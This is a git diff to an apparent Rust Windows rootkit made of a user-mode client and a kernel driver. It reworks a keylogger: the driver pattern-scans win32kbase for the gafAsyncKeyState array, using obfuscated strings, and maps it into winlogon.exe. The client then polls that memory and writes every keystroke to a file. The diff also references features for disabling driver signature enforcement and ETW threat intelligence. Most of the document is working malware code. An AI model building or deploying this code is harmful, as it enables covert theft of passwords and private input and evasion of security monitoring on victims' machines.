diff --git a/.gitignore b/.gitignore index 49eef28..e4f2f09 100644 --- a/.gitignore +++ b/.gitignore @@ -10,5 +10,4 @@ driver/Cargo.lock driver/src/backup client/src/modules/memory.rs driver/src/misc/memory.rs -driver/src/port backup \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock index 7f03425..3fa2adf 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -156,19 +156,6 @@ version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1462739cb27611015575c0c11df5df7601141071f07518d56fcc1be504cbec97" -[[package]] -name = "client" -version = "0.1.0" -dependencies = [ - "chrono", - "clap", - "colored", - "env_logger", - "log", - "shared", - "windows-sys 0.52.0", -] - [[package]] name = "colorchoice" version = "1.0.2" @@ -191,6 +178,37 @@ version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" +[[package]] +name = "crossbeam-deque" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" +dependencies = [ + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80" + +[[package]] +name = "either" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0" + [[package]] name = "env_filter" version = "0.1.2" @@ -237,7 +255,7 @@ dependencies = [ "iana-time-zone-haiku", "js-sys", "wasm-bindgen", - "windows-core", + "windows-core 0.52.0", ] [[package]] @@ -330,6 +348,26 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "rayon" +version = "1.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b418a60154510ca1a002a752ca9714984e21e4241e804d32555251faf8b78ffa" +dependencies = [ + "either", + "rayon-core", +] + +[[package]] +name = "rayon-core" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" +dependencies = [ + "crossbeam-deque", + "crossbeam-utils", +] + [[package]] name = "regex" version = "1.10.6" @@ -359,6 +397,20 @@ version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b" +[[package]] +name = "shadow" +version = "0.1.0" +dependencies = [ + "chrono", + "clap", + "colored", + "env_logger", + "log", + "shared", + "sysinfo", + "windows-sys 0.52.0", +] + [[package]] name = "shared" version = "0.1.0" @@ -390,6 +442,20 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "sysinfo" +version = "0.31.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "355dbe4f8799b304b05e1b0f05fc59b2a18d36645cf169607da45bde2f69a1be" +dependencies = [ + "core-foundation-sys", + "libc", + "memchr", + "ntapi", + "rayon", + "windows", +] + [[package]] name = "unicode-ident" version = "1.0.13" @@ -479,6 +545,16 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" +[[package]] +name = "windows" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12342cb4d8e3b046f3d80effd474a7a02447231330ef77d71daa6fbc40681143" +dependencies = [ + "windows-core 0.57.0", + "windows-targets 0.52.6", +] + [[package]] name = "windows-core" version = "0.52.0" @@ -488,6 +564,49 @@ dependencies = [ "windows-targets 0.52.6", ] +[[package]] +name = "windows-core" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2ed2439a290666cd67ecce2b0ffaad89c2a56b976b736e6ece670297897832d" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-implement" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-result" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8" +dependencies = [ + "windows-targets 0.52.6", +] + [[package]] name = "windows-sys" version = "0.48.0" diff --git a/Cargo.toml b/Cargo.toml index 8cedf96..1ceaa55 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,3 +1,3 @@ [workspace] members = ["client", "shared"] -exclude = ["driver"] \ No newline at end of file +exclude = ["driver"] diff --git a/client/Cargo.toml b/client/Cargo.toml index b2671f5..d40f91e 100644 --- a/client/Cargo.toml +++ b/client/Cargo.toml @@ -5,12 +5,13 @@ edition = "2021" [dependencies] clap = { version = "4.5.6", features = ["derive"] } -windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] } +windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_Diagnostics_Debug", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] } shared = { path = "../shared" } log = "0.4.22" env_logger = { version = "0.11.5" } colored = "2.1.0" chrono = "0.4.38" +sysinfo = "0.31.4" [features] mapper = [] diff --git a/client/src/cli.rs b/client/src/cli.rs index ea03ae4..12fcec0 100644 --- a/client/src/cli.rs +++ b/client/src/cli.rs @@ -288,13 +288,9 @@ pub enum MisCommands { /// Operations related to Keylogger. Keylogger { - /// Stop the keylogger. - #[arg(long)] - stop: bool, - - /// Start the keylogger. - #[arg(long)] - start: bool, + /// File path for storing keylogger output + #[arg(long, required = true)] + file: String, }, /// Operations related to ETWTI. diff --git a/client/src/main.rs b/client/src/main.rs index fc98c91..5c4f564 100644 --- a/client/src/main.rs +++ b/client/src/main.rs @@ -1,9 +1,9 @@ use { cli::*, - log::*, - clap::Parser, + log::*, shared::ioctls::*, utils::init_logger, + clap::Parser, }; use modules::{ misc::Misc, @@ -21,6 +21,7 @@ use modules::registry::Registry; mod cli; mod modules; +#[macro_use] mod utils; fn main() { @@ -117,12 +118,8 @@ fn main() { misc.dse(IOCTL_ENABLE_DSE, false); } } - MisCommands::Keylogger { stop, start } => { - if *start { - misc.keylogger(IOCTL_KEYLOGGER, true); - } else if *stop { - misc.keylogger(IOCTL_KEYLOGGER, false); - } + MisCommands::Keylogger { file } => { + misc.keylogger(IOCTL_KEYLOGGER, file); } MisCommands::Etwti { disable, enable } => { if *enable { diff --git a/client/src/modules/misc.rs b/client/src/modules/misc.rs index 78cc754..dcf901f 100644 --- a/client/src/modules/misc.rs +++ b/client/src/modules/misc.rs @@ -1,14 +1,33 @@ use { log::*, - crate::utils::open_driver, - shared::structs::{Keylogger, DSE, ETWTI}, - std::{ffi::c_void, mem::size_of, ptr::null_mut}, + crate::utils::{ + vk_to_char, update_key_state, key_pressed, + get_process_by_name, open_driver, + }, + shared::structs::{DSE, ETWTI}, + std::{ + ffi::c_void, fs::OpenOptions, io::{BufWriter, Write}, + mem::size_of, ptr::null_mut, time::Duration + }, windows_sys::Win32::{ - System::IO::DeviceIoControl, - Foundation::{CloseHandle, GetLastError, HANDLE}, - }, + System::{ + IO::DeviceIoControl, + Diagnostics::Debug::ReadProcessMemory, + Threading::{OpenProcess, PROCESS_ALL_ACCESS}, + }, + Foundation::{ + INVALID_HANDLE_VALUE, CloseHandle, + GetLastError, HANDLE, + }, + } }; + +/// Key states. +pub static mut KEY_STATE: [u8; 64] = [0; 64]; +pub static mut KEY_PREVIOUS: [u8; 64] = [0; 64]; +pub static mut KEY_RECENT: [u8; 64] = [0; 64]; + pub struct Misc { driver_handle: HANDLE, } @@ -45,29 +64,61 @@ impl Misc { } } - pub fn keylogger(self, ioctl_code: u32, state: bool) { - debug!("Preparing Keylogger structure for {}", if state { "start" } else { "stop" }); - let mut keylogger = Keylogger { enable: state }; - debug!("Sending DeviceIoControl command to {} Keylogger", if state { "start" } else { "stop" }); - let mut return_buffer = 0; - let status = unsafe { - DeviceIoControl( + pub fn keylogger(self, ioctl_code: u32, file: &String) { + unsafe { + let mut address: usize = 0; + let mut return_buffer = 0; + let status = DeviceIoControl( self.driver_handle, ioctl_code, - &mut keylogger as *mut _ as *mut c_void, - std::mem::size_of::() as u32, null_mut(), 0, + &mut address as *mut _ as *mut c_void, + size_of::() as u32, &mut return_buffer, null_mut(), - ) - }; + ); - if status == 0 { - error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); - } else { - info!("Keylogger {}", if state { "start" } else { "stop" }) + if status == 0 { + error!("DeviceIoControl Failed With Status: 0x{:08X}", GetLastError()); + return; + } + + let pid = get_process_by_name("winlogon.exe").expect("Error retrieving pid from winlogon.exe"); + let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); + if h_process == INVALID_HANDLE_VALUE { + eprintln!("OpenProcess Failed With Error: {}", GetLastError()); + return; + } + + let file = OpenOptions::new() + .append(true) + .create(true) + .open(file) + .expect("Failed to open or create keylog file"); + let mut writer = BufWriter::new(file); + let mut bytes_read = 0; + + loop { + core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64); + if ReadProcessMemory(h_process, address as *const c_void, KEY_STATE.as_mut_ptr() as _, size_of::<[u8; 64]>() as usize, &mut bytes_read) != 0 { + update_key_state(); + + for i in 0..256 { + if key_pressed(i as u8) { + let key = vk_to_char(i as u8); + debug!("{key}"); + writeln!(writer, "{}", key).expect("Failed to write to file"); + writer.flush().expect("Failed to flush file buffer"); + } + } + } else { + eprintln!("Failed to read process memory"); + } + + std::thread::sleep(Duration::from_millis(50)); + } } } diff --git a/client/src/modules/mod.rs b/client/src/modules/mod.rs index 6ec25be..910a961 100644 --- a/client/src/modules/mod.rs +++ b/client/src/modules/mod.rs @@ -7,4 +7,4 @@ pub mod misc; pub mod module; pub mod process; pub mod thread; -pub mod port; +pub mod port; \ No newline at end of file diff --git a/client/src/utils/keylogger.rs b/client/src/utils/keylogger.rs new file mode 100644 index 0000000..959a8b5 --- /dev/null +++ b/client/src/utils/keylogger.rs @@ -0,0 +1,49 @@ +use super::VK_CHARS; +use crate::{ + is_key_down, set_key_down, + modules::misc::{KEY_PREVIOUS, KEY_RECENT, KEY_STATE} +}; + +/// Updates the status of the keys. +pub unsafe fn update_key_state() { + for i in 0..256 { + if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) { + set_key_down!(KEY_RECENT, i, true); + } + } +} + +/// Checks if a key has been pressed. +/// +/// # Parameters +/// +/// - `key`: The key code. +/// +/// # Returns +/// +/// - `bool`: if the key was pressed, otherwise `false`. +/// +pub unsafe fn key_pressed(key: u8) -> bool { + let result = is_key_down!(KEY_RECENT, key); + set_key_down!(KEY_RECENT, key, false); + result +} + +/// Converts a virtual key code to a character. +/// +/// # Parameters +/// +/// - `key`: The code for the virtual key. +/// +/// # Returns +/// +/// - `&'static str`: A string representing the character corresponding to the code of the virtual key. +/// +pub fn vk_to_char(key: u8) -> &'static str { + for &(vk, char) in &VK_CHARS { + if vk == key { + return char; + } + } + "UNKNOWN" +} diff --git a/driver/src/misc/keylogger/macros.rs b/client/src/utils/macros.rs similarity index 70% rename from driver/src/misc/keylogger/macros.rs rename to client/src/utils/macros.rs index 8702cab..8170262 100644 --- a/driver/src/misc/keylogger/macros.rs +++ b/client/src/utils/macros.rs @@ -17,7 +17,7 @@ macro_rules! get_ks_down_bit { #[macro_export] macro_rules! is_key_down { ($ks:expr, $vk:expr) => { - ($ks[get_ks_byte!($vk)] & get_ks_down_bit!($vk)) != 0 + ($ks[$crate::get_ks_byte!($vk)] & $crate::get_ks_down_bit!($vk)) != 0 }; } @@ -25,9 +25,9 @@ macro_rules! is_key_down { macro_rules! set_key_down { ($ks:expr, $vk:expr, $down:expr) => { if $down { - $ks[get_ks_byte!($vk)] |= get_ks_down_bit!($vk); + $ks[$crate::get_ks_byte!($vk)] |= $crate::get_ks_down_bit!($vk); } else { - $ks[get_ks_byte!($vk)] &= !get_ks_down_bit!($vk); + $ks[$crate::get_ks_byte!($vk)] &= !$crate::get_ks_down_bit!($vk); } }; } diff --git a/client/src/utils.rs b/client/src/utils/mod.rs similarity index 61% rename from client/src/utils.rs rename to client/src/utils/mod.rs index 9c48642..8dd6349 100644 --- a/client/src/utils.rs +++ b/client/src/utils/mod.rs @@ -2,6 +2,7 @@ use { log::*, colored::Colorize, env_logger::Builder, + sysinfo::System, std::{path::Path, ptr::null_mut, io::Write}, windows_sys::{ w, @@ -18,6 +19,10 @@ use { }, }; +pub mod macros; +pub mod keylogger; +pub use keylogger::*; + pub const BANNER: &str = r#" _____ __ __ / ___// /_ ____ _____/ /___ _ __ @@ -122,6 +127,29 @@ pub fn validate_sys_extension(val: &str) -> Result { } } +/// Searches for the process ID (PID) of a running process by name. +/// +/// # Parameters +/// +/// - `name`: A reference to a string containing the name of the process to be searched. +/// +/// # Return +/// +/// -`Option`: Returns the PID of the process found, or `None` if no process with the specified name is found. +/// +pub fn get_process_by_name(name: &str) -> Option { + let mut system = System::new_all(); + system.refresh_all(); + + for (pid, process) in system.processes() { + if process.name() == name { + return Some(pid.as_u32()); + } + } + + None +} + /// Enum representing different callbacks in the system. #[derive(clap::ValueEnum, Clone, Debug, Copy)] pub enum Callbacks { @@ -231,3 +259,160 @@ impl PortType { } } } + +/// Mapping virtual key codes to characters. +pub const VK_CHARS: [(u8, &'static str); 153] = [ + (0x01, "LEFT MOUSE BUTTON"), + (0x02, "RIGTH MOUSE BUTTON"), + (0x03, "CANCEL"), + (0x04, "MIDDLE MOUSE BUTTON"), + (0x05, "X1 MOUSE BUTTON"), + (0x06, "X2 MOUSE BUTTON"), + (0x08, "BACKSPACE"), + (0x09, "TAB"), + (0x0C, "CLEAR"), + (0x0D, "ENTER"), + (0x10, "SHIFT"), + (0x11, "CONTROL"), + (0x12, "ALT"), + (0x13, "PAUSE"), + (0x14, "CAPS LOCK"), + (0x1B, "ESCAPE"), + (0x20, "SPACEBAR"), + (0x21, "PAGE UP"), + (0x22, "PAGE DOWN"), + (0x23, "END"), + (0x24, "HOME"), + (0x25, "LEFT ARROW"), + (0x26, "UP ARROW"), + (0x27, "RIGHT ARROW"), + (0x28, "DOWN ARROW"), + (0x29, "SELECT"), + (0x2A, "PRINT"), + (0x2B, "EXECUTE"), + (0x2C, "PRINT SCREEN"), + (0x2D, "INSERT"), + (0x2E, "DELETE"), + (0x2F, "HELP"), + (0x5B, "LEFT WINDOWS"), + (0x5C, "RIGHT WINDOWS"), + (0x5D, "APPLICATIONS"), + (0x5F, "SLEEP"), + (0x60, "NUMPAD 0"), + (0x61, "NUMPAD 1"), + (0x62, "NUMPAD 2"), + (0x63, "NUMPAD 3"), + (0x64, "NUMPAD 4"), + (0x65, "NUMPAD 5"), + (0x66, "NUMPAD 6"), + (0x67, "NUMPAD 7"), + (0x68, "NUMPAD 8"), + (0x69, "NUMPAD 9"), + (0x6A, "NUMPAD *"), + (0x6B, "NUMPAD +"), + (0x6C, "SEPARATOR"), + (0x6D, "NUMPAD -"), + (0x6E, "NUMPAD ."), + (0x6F, "NUMPAD /"), + (0x70, "F1"), + (0x71, "F2"), + (0x72, "F3"), + (0x73, "F4"), + (0x74, "F5"), + (0x75, "F6"), + (0x76, "F7"), + (0x77, "F8"), + (0x78, "F9"), + (0x79, "F10"), + (0x7A, "F11"), + (0x7B, "F12"), + (0x7C, "F13"), + (0x7D, "F14"), + (0x7E, "F15"), + (0x7F, "F16"), + (0x80, "F17"), + (0x81, "F18"), + (0x82, "F19"), + (0x83, "F20"), + (0x84, "F21"), + (0x85, "F22"), + (0x86, "F23"), + (0x87, "F24"), + (0x90, "NUM LOCK"), + (0x91, "SCROLL LOCK"), + (0xA6, "BROWSER BACK"), + (0xA7, "BROWSER FORWARD"), + (0xA8, "BROWSER REFRESH"), + (0xA9, "BROWSER STOP"), + (0xAA, "BROWSER SEARCH"), + (0xAB, "BROWSER FAVORITES"), + (0xAC, "BROWSER HOME"), + (0xAD, "VOLUME MUTE"), + (0xAE, "VOLUME DOWN"), + (0xAF, "VOLUME UP"), + (0xB0, "MEDIA NEXT TRACK"), + (0xB1, "MEDIA PREVIOUS TRACK"), + (0xB2, "MEDIA STOP"), + (0xB3, "MEDIA PLAY/PAUSE"), + (0xB4, "LAUNCH MAIL"), + (0xB5, "MEDIA SELECT"), + (0xB6, "LAUNCH APPLICATION 1"), + (0xB7, "LAUNCH APPLICATION 2"), + (0xBA, "OEM 1"), + (0xBB, "OEM +"), + (0xBC, "OEM ,"), + (0xBD, "OEM -"), + (0xBE, "OEM ."), + (0xBF, "OEM 2"), + (0xC0, "OEM 3"), + (0xDB, "OEM 4"), + (0xDC, "OEM 5"), + (0xDD, "OEM 6"), + (0xDE, "OEM 7"), + (0xDF, "OEM 8"), + (0xE2, "OEM 102"), + (0xE5, "IME PROCESS"), + (0xE7, "PACKET"), + (0xF6, "ATTN"), + (0xF7, "CRSEL"), + (0xF8, "EXSEL"), + (0xF9, "EREOF"), + (0xFA, "PLAY"), + (0xFB, "ZOOM"), + (0x30, "0"), + (0x31, "1"), + (0x32, "2"), + (0x33, "3"), + (0x34, "4"), + (0x35, "5"), + (0x36, "6"), + (0x37, "7"), + (0x38, "8"), + (0x39, "9"), + (0x41, "A"), + (0x42, "B"), + (0x43, "C"), + (0x44, "D"), + (0x45, "E"), + (0x46, "F"), + (0x47, "G"), + (0x48, "H"), + (0x49, "I"), + (0x4A, "J"), + (0x4B, "K"), + (0x4C, "L"), + (0x4D, "M"), + (0x4E, "N"), + (0x4F, "O"), + (0x50, "P"), + (0x51, "Q"), + (0x52, "R"), + (0x53, "S"), + (0x54, "T"), + (0x55, "U"), + (0x56, "V"), + (0x57, "W"), + (0x58, "X"), + (0x59, "Y"), + (0x5A, "Z"), +]; \ No newline at end of file diff --git a/driver/src/lib.rs b/driver/src/lib.rs index 57fd983..c5690ef 100644 --- a/driver/src/lib.rs +++ b/driver/src/lib.rs @@ -8,11 +8,16 @@ extern crate alloc; use { utils::uni, port::Port, - core::ptr::null_mut, kernel_log::KernelLogger, - crate::utils::ioctls::IOCTL_MAP, - misc::keylogger::{keylogger, SHUTDOWN}, - wdk_sys::{ntddk::*, _MODE::KernelMode, *} + wdk_sys::{ntddk::*, _MODE::KernelMode, *}, + core::{ptr::null_mut, sync::atomic::Ordering}, + crate::{ + port::HOOK_INSTALLED, + utils::{ + offsets::BUILD_NUMBER, + ioctls::IOCTL_MAP, get_windows_build_number, + } + }, }; #[cfg(not(feature = "mapper"))] @@ -128,17 +133,6 @@ pub unsafe extern "system" fn shadow_entry( return status; } - let mut h_thread: HANDLE = core::ptr::null_mut(); - status = PsCreateSystemThread( - &mut h_thread, - THREAD_ALL_ACCESS, - null_mut(), - null_mut(), - null_mut(), - Some(keylogger), - null_mut(), - ); - if !NT_SUCCESS(status) { IoDeleteDevice(device_object); log::error!("PsCreateSystemThread Failed With Status: {status}"); @@ -158,7 +152,7 @@ pub unsafe extern "system" fn shadow_entry( } } - let status = unsafe { Port::install_hook() }; + BUILD_NUMBER = get_windows_build_number(); STATUS_SUCCESS } @@ -225,19 +219,15 @@ pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: * pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) { log::info!("Unloading driver"); - SHUTDOWN = true; + if HOOK_INSTALLED.load(Ordering::Relaxed) { + let hook_status = Port::uninstall_hook(); + let mut interval = LARGE_INTEGER { + QuadPart: -50 * 1000_i64 * 1000_i64, + }; - let hook_status = Port::uninstall_hook(); - if !NT_SUCCESS(hook_status) { - log::error!("Failed to uninstall hook before unload"); + KeDelayExecutionThread(KernelMode as i8, 0, &mut interval); } - let mut interval = LARGE_INTEGER { - QuadPart: -50 * 1000_i64 * 1000_i64, - }; - - KeDelayExecutionThread(KernelMode as i8, 0, &mut interval); - let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME); IoDeleteSymbolicLink(&mut dos_device_name.to_unicode()); IoDeleteDevice((*driver_object).DeviceObject); @@ -248,12 +238,6 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) { CmUnRegisterCallback(CALLBACK_REGISTRY); } - let mut interval = LARGE_INTEGER { - QuadPart: -1 * -(50 * 1000_i64), - }; - - KeDelayExecutionThread(KernelMode as i8, 0, &mut interval); - log::info!("Shadow Unload"); } diff --git a/driver/src/misc/ioctls.rs b/driver/src/misc/ioctls.rs index dccdc5a..306aa27 100644 --- a/driver/src/misc/ioctls.rs +++ b/driver/src/misc/ioctls.rs @@ -1,11 +1,13 @@ use { alloc::boxed::Box, hashbrown::HashMap, - super::keylogger::set_keylogger_state, - shared::structs::{Keylogger, DSE, ETWTI}, - wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, - shared::ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER, IOCTL_ETWTI}, - crate::{handle, misc::{etwti::Etw, dse::Dse}, utils::ioctls::IoctlHandler}, + super::keylogger::{get_user_address_keylogger, USER_ADDRESS}, + wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS, STATUS_UNSUCCESSFUL}, + crate::{handle, misc::{dse::Dse, etwti::Etw}, utils::ioctls::IoctlHandler}, + shared::{ + ioctls::{IOCTL_ENABLE_DSE, IOCTL_ETWTI, IOCTL_KEYLOGGER}, + structs::{DSE, ETWTI} + }, }; /// Registers the IOCTL handlers for misc-related operations. @@ -30,12 +32,25 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap) { } }) as IoctlHandler); - // Start / Stop Keylogger + // Start Keylogger ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, set_keylogger_state, Keylogger) }; - unsafe { (*irp).IoStatus.Information = 0 }; + unsafe { + if USER_ADDRESS == 0 { + USER_ADDRESS = match get_user_address_keylogger() { + Some(addr) => addr as usize, + None => return STATUS_UNSUCCESSFUL, + }; + } + + let output_buffer = (*irp).AssociatedIrp.SystemBuffer; + if !output_buffer.is_null() { + *(output_buffer as *mut usize) = USER_ADDRESS; + } + + (*irp).IoStatus.Information = core::mem::size_of::() as u64; + } - status + STATUS_SUCCESS }) as IoctlHandler); // Responsible for enabling/disabling ETWTI. diff --git a/driver/src/misc/keylogger.rs b/driver/src/misc/keylogger.rs new file mode 100644 index 0000000..4a8af30 --- /dev/null +++ b/driver/src/misc/keylogger.rs @@ -0,0 +1,80 @@ +use { + obfstr::obfstr, + core::{mem::size_of, ptr::null_mut, ffi::c_void}, + crate::{ + process::Process, + utils::{ + process_attach::ProcessAttach, + get_process_by_name, patterns::scan_for_pattern, + address::{get_address_asynckey, get_module_base_address}, + } + }, + wdk_sys::{ + ntddk::{ + IoAllocateMdl, IoFreeMdl, MmBuildMdlForNonPagedPool, + MmMapLockedPagesSpecifyCache, MmIsAddressValid + }, + _MEMORY_CACHING_TYPE::MmCached, + _MM_PAGE_PRIORITY::NormalPagePriority, + _MODE::UserMode, PEPROCESS + } +}; + +/// Variable holding a user space address for keylogger functionality. +pub static mut USER_ADDRESS: usize = 0; + +/// Retrieves the address of gafAsyncKeyState and maps it to the user mode of winlogon.exe. +/// +/// # Return +/// +/// - `Option<*mut c_void>`: If successful, the address will be returned as Some, if not found, it will be returned as None. +/// +pub unsafe fn get_user_address_keylogger() -> Option<*mut c_void> { + let pid = get_process_by_name(obfstr!("winlogon.exe"))?; + let winlogon_process = Process::new(pid)?; + let gaf_async_key_state_address = get_gafasynckeystate_address(pid, winlogon_process.e_process)?; + let attach_process = ProcessAttach::new(winlogon_process.e_process); + + // Check that the address is valid + if MmIsAddressValid(gaf_async_key_state_address as *mut c_void) == 0 { + log::info!("Invalid or pagable gafAsyncKeyState address"); + return None; + } + + // Allocates the MDL to memory + let mdl = IoAllocateMdl(gaf_async_key_state_address as _, size_of::<[u8; 64]>() as u32, 0, 0, null_mut()); + if mdl.is_null() { + log::info!("IoAllocateMdl Failed"); + return None; + } + + MmBuildMdlForNonPagedPool(mdl); + + // Maps memory to user space + let address = MmMapLockedPagesSpecifyCache(mdl, UserMode as i8, MmCached, null_mut(), 0, NormalPagePriority as u32); + if address.is_null() { + log::info!("MmMapLockedPagesSpecifyCache Failed"); + IoFreeMdl(mdl); + return None; + } + + Some(address) +} + +/// Get the address of the `gafAsyncKeyState` array. +/// +/// # Returns +/// +/// `Option`: The address of the `gafAsyncKeyState` array if found, otherwise `None`. +/// +unsafe fn get_gafasynckeystate_address(pid: usize, process: PEPROCESS) -> Option<*mut u8> { + let winlogon_eprocess = Process::new(pid)?; + let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?; + let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?; + let attach_process = ProcessAttach::new(winlogon_eprocess.e_process); + + // fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)] + // fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax + let pattern = [0x48, 0x8B, 0x05]; + scan_for_pattern(function_address, &pattern, 3, 7, 0x200, i32::from_le_bytes) +} diff --git a/driver/src/misc/keylogger/keys.rs b/driver/src/misc/keylogger/keys.rs deleted file mode 100644 index 14a848b..0000000 --- a/driver/src/misc/keylogger/keys.rs +++ /dev/null @@ -1,156 +0,0 @@ -/// Mapping virtual key codes to characters. -pub const VK_CHARS: [(u8, &'static str); 153] = [ - (0x01, "LEFT MOUSE BUTTON"), - (0x02, "RIGTH MOUSE BUTTON"), - (0x03, "CANCEL"), - (0x04, "MIDDLE MOUSE BUTTON"), - (0x05, "X1 MOUSE BUTTON"), - (0x06, "X2 MOUSE BUTTON"), - (0x08, "BACKSPACE"), - (0x09, "TAB"), - (0x0C, "CLEAR"), - (0x0D, "ENTER"), - (0x10, "SHIFT"), - (0x11, "CONTROL"), - (0x12, "ALT"), - (0x13, "PAUSE"), - (0x14, "CAPS LOCK"), - (0x1B, "ESCAPE"), - (0x20, "SPACEBAR"), - (0x21, "PAGE UP"), - (0x22, "PAGE DOWN"), - (0x23, "END"), - (0x24, "HOME"), - (0x25, "LEFT ARROW"), - (0x26, "UP ARROW"), - (0x27, "RIGHT ARROW"), - (0x28, "DOWN ARROW"), - (0x29, "SELECT"), - (0x2A, "PRINT"), - (0x2B, "EXECUTE"), - (0x2C, "PRINT SCREEN"), - (0x2D, "INSERT"), - (0x2E, "DELETE"), - (0x2F, "HELP"), - (0x5B, "LEFT WINDOWS"), - (0x5C, "RIGHT WINDOWS"), - (0x5D, "APPLICATIONS"), - (0x5F, "SLEEP"), - (0x60, "NUMPAD 0"), - (0x61, "NUMPAD 1"), - (0x62, "NUMPAD 2"), - (0x63, "NUMPAD 3"), - (0x64, "NUMPAD 4"), - (0x65, "NUMPAD 5"), - (0x66, "NUMPAD 6"), - (0x67, "NUMPAD 7"), - (0x68, "NUMPAD 8"), - (0x69, "NUMPAD 9"), - (0x6A, "NUMPAD *"), - (0x6B, "NUMPAD +"), - (0x6C, "SEPARATOR"), - (0x6D, "NUMPAD -"), - (0x6E, "NUMPAD ."), - (0x6F, "NUMPAD /"), - (0x70, "F1"), - (0x71, "F2"), - (0x72, "F3"), - (0x73, "F4"), - (0x74, "F5"), - (0x75, "F6"), - (0x76, "F7"), - (0x77, "F8"), - (0x78, "F9"), - (0x79, "F10"), - (0x7A, "F11"), - (0x7B, "F12"), - (0x7C, "F13"), - (0x7D, "F14"), - (0x7E, "F15"), - (0x7F, "F16"), - (0x80, "F17"), - (0x81, "F18"), - (0x82, "F19"), - (0x83, "F20"), - (0x84, "F21"), - (0x85, "F22"), - (0x86, "F23"), - (0x87, "F24"), - (0x90, "NUM LOCK"), - (0x91, "SCROLL LOCK"), - (0xA6, "BROWSER BACK"), - (0xA7, "BROWSER FORWARD"), - (0xA8, "BROWSER REFRESH"), - (0xA9, "BROWSER STOP"), - (0xAA, "BROWSER SEARCH"), - (0xAB, "BROWSER FAVORITES"), - (0xAC, "BROWSER HOME"), - (0xAD, "VOLUME MUTE"), - (0xAE, "VOLUME DOWN"), - (0xAF, "VOLUME UP"), - (0xB0, "MEDIA NEXT TRACK"), - (0xB1, "MEDIA PREVIOUS TRACK"), - (0xB2, "MEDIA STOP"), - (0xB3, "MEDIA PLAY/PAUSE"), - (0xB4, "LAUNCH MAIL"), - (0xB5, "MEDIA SELECT"), - (0xB6, "LAUNCH APPLICATION 1"), - (0xB7, "LAUNCH APPLICATION 2"), - (0xBA, "OEM 1"), - (0xBB, "OEM +"), - 